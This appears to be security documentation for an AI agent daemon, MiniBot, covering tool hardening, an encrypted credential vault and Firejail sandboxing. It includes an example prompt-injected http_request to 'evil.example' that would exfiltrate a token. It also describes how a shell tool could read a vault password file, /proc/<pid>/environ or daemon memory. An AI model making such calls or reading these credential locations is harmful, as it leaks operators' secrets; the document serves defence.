Security & Sandboxing

MiniBot exposes a minimal tool surface by default. The most sensitive capabilities are python_execute, bash, and apply_patch — they can run arbitrary code or edit host files when enabled.

Trust model

MiniBot is not a security boundary by itself. For untrusted workloads, or deployments with sensitive host data, run it inside an appropriately isolated environment.

The goal is safe defaults, explicit escape hatches and this document — not a guarantee the software cannot make. Two responsibilities are separate:

  • MiniBot’s: safe-by-default config, secrets the LLM cannot reach, and gates on consequential actions. These matter however the daemon is deployed, because the remote provider sees whatever reaches a tool call or the context, no matter how isolated the host is.

  • The deployment’s: OS, filesystem and process isolation for bash and python_execute. An owner who already isolates the host can reasonably accept the ambient risk.

The controls below are advisory. bash has no filesystem jail, so any path-level restriction elsewhere — a confined file_storage root, a managed agent directory, a vault password file — is reachable from a shell command unless the process itself is isolated. Read every “cannot” in this documentation as “cannot through the tool that owns the check”.

Recommendations

  • Disable tools.python_exec unless you need it.

  • Disable tools.bash unless you need direct shell access.

  • Keep tools.bash.pass_parent_env = false (the default). Setting it to true makes every variable the daemon runs with — including any ${ENV_VAR} secret used in config.toml — readable with a single env call. Add the specific keys a command needs to env_allowlist instead.

  • Keep tools.apply_patch.restrict_to_workspace = true unless unrestricted edits are required.

  • Keep tools.file_storage.allow_outside_root = false to prevent path traversal.

  • Prefer explicit sandbox isolation for untrusted code (sandbox_mode: none, basic, rlimit, cgroup, or jail; default is basic).

  • Run the daemon as a non-privileged user; mount only the data directory in Docker.

  • Store credentials in the [vault] rather than in config.toml or the process environment.

Credential vault

The vault keeps credentials encrypted at rest (AES-256-GCM, key derived from a password with scrypt) and out of the LLM’s reach. Enable it with [vault] enabled = true after installing the vault extra, and write secrets with minibot vault edit (see CLI Reference).

Secrets are destination-bound. An administrator binds a secret to one consumer in configuration and that consumer resolves it itself:

[[tools.mcp.servers]]
name = "github"
transport = "http"
url = "https://api.githubcopilot.com/mcp/"
auth_secret = "github"

${secret:NAME} is the general form: it works in any string value in config.toml, so provider API keys, the Telegram bot token, and any other credential can live in the vault instead of in the file. This is worth doing precisely because bash can read config.toml and cannot read the vault:

[providers.openai]
api_key = "${secret:OPENAI_API_KEY}"

See Configuration Reference for the resolution rules. Note the boundary: this protects the credential at rest in the file. Once resolved it sits in the daemon’s memory exactly as an ${ENV_VAR} value does, so the process-memory limits below apply to both equally.

The model’s only vault-related capability is list_secrets, which returns names. There is no get_secret tool and no secret:// reference the model can write into a tool argument — that would turn the vault into a decryption oracle, letting a prompt-injected http_request(url="https://evil.example", headers={...}) exfiltrate a token to an attacker-chosen destination without the model ever seeing its value.

Unlocking

The password is read from [vault] password_file, else MINIBOT_VAULT_PASSWORD, else an interactive prompt at startup. The prompt is the recommended method: it is the only one where no password material touches disk or the process environment. After unlocking, only the decrypted map is retained — never the password or the derived key.

The other two are supported for unattended deployments, but both are readable by the bash tool, which runs as the same OS user:

  • password_file — bash has no filesystem jail, so it can simply read the file.

  • MINIBOT_VAULT_PASSWORD — bash does not inherit it (pass_parent_env defaults to false), but it can read it out of /proc/<daemon-pid>/environ, which holds the environment the daemon was started with. Clearing the variable inside the process does not change that snapshot.

Whichever you choose, that file or variable becomes the thing to protect instead of the vault.

The vault file is excluded from git and the Docker build context by default (*.vault.yml).

Limits

  • This protects secrets at rest and from the LLM’s own tool calls. It does not protect against a fully compromised daemon process reading its own memory (/proc/<pid>/mem) — the same trust boundary as any self-hosted secret manager running as one OS user.

  • Whether a tool process can read the daemon’s memory depends on the host’s kernel.yama.ptrace_scope. At 1 (the common desktop default) it cannot: bash is a descendant of the daemon, not an ancestor, so the attach is refused. At 0 — frequently the case inside containers — any same-user process can read that memory, and the unlocked secrets with it. Check cat /proc/sys/kernel/yama/ptrace_scope on the host you actually deploy to.

  • No rotation, no recovery, no hot-reload: a forgotten password means starting over, and editing the vault while the daemon runs needs a restart to take effect.

  • ${ENV_VAR} config secrets (token_env, static MCP headers) are a separate, older mechanism and are unaffected. The two coexist.

  • Task workers get no vault: they load no bundled extensions and build their own tool set, so no vault-backed credential exists in a worker process.

Jail Mode (Firejail)

jail mode wraps the Python process with an arbitrary command prefix (e.g. firejail):

[tools.python_exec.jail]
enabled = true
command_prefix = [
  "firejail",
  "--private=/srv/minibot-sandbox",
  "--quiet",
  # "--net=none",  # restrict network access from jailed processes
]

Firejail + artifact export example

  1. Create shared directory:

    mkdir -p /home/myuser/mybot/data/files/jail-shared
    chmod 700 /home/myuser/mybot/data/files/jail-shared
    
  2. Configure Python exec:

[tools.python_exec]
sandbox_mode = "jail"
artifacts_allow_in_jail = true
artifacts_jail_shared_dir = "/home/myuser/mybot/data/files/jail-shared"
  1. Configure Firejail wrapper:

[tools.python_exec.jail]
enabled = true
command_prefix = [
  "firejail",
  "--quiet",
  "--noprofile",
  "--caps.drop=all",
  "--seccomp",
  "--whitelist=/home/myuser/mybot/data/files/jail-shared",
  "--read-write=/home/myuser/mybot/data/files/jail-shared",
  "--whitelist=/home/myuser/mybot/tools_venv",
]

Notes:

  • artifacts_jail_shared_dir and the Firejail whitelist path must be identical.

  • tools.python_exec.python_path (or venv_path) must point to an interpreter visible inside Firejail.

  • --noprofile avoids host distro defaults that may block home directory executables.

  • Ensure firejail is available in the runtime image or on the host.